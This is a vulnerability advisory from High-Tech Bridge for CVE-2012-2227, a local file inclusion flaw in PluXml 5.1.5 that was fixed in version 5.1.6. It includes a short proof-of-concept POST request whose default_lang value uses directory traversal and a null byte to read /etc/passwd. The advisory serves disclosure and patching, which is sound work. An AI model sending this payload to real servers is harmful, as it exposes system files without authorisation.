Local File Inclusion in PluXml

Advisory ID: HTB23086
Product: PluXml
Vendor: pluxml.org
Vulnerable Version(s): 5.1.5 and probably prior
Tested Version: 5.1.5
Vendor Notification: 11 April 2012
Vendor Patch: 16 April 2012
Public Disclosure: 2 May 2012
Vulnerability Type: Local File Inclusion
CVE Reference(s): CVE-2012-2227
Solution Status: Fixed by Vendor
Risk Level: High
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ )

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabiliy in PluXml, which can be exploited to perform Local File Inclusion attacks.

1) Local File Inclusion in PluXml

1.1 Input passed via the "default_lang" POST parameter to /update/index.php is not properly verified before being used in include_once() function and can be exploited to include arbitrary local files.
This can be exploited to include local files via directory traversal sequences and URL-encoded NULL bytes.

The following PoC (Proof of Concept) demonstrates the vulnerability:

POST /update/index.php HTTP/1.1
[…]
Content-Type: application/x-www-form-urlencoded
Content-Length: […]

default_lang=…%2F…%2F…%2F…%2F…%2F…%2F…%2Fetc%2Fpasswd%00

Solution:

Upgrade to PluXml 5.1.6

More Information:
http://www.pluxml.org/article59/sortie-de-pluxml-5-1-6
http://telechargements.pluxml.org/changelog

References:

[1] High-Tech Bridge Advisory HTB23086 - https://www.htbridge.com/advisory/HTB23086 - Local File Inclusion in PluXml.
[2] PluXml - http://www.pluxml.org - PluXml is a script to create a site or a blog.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.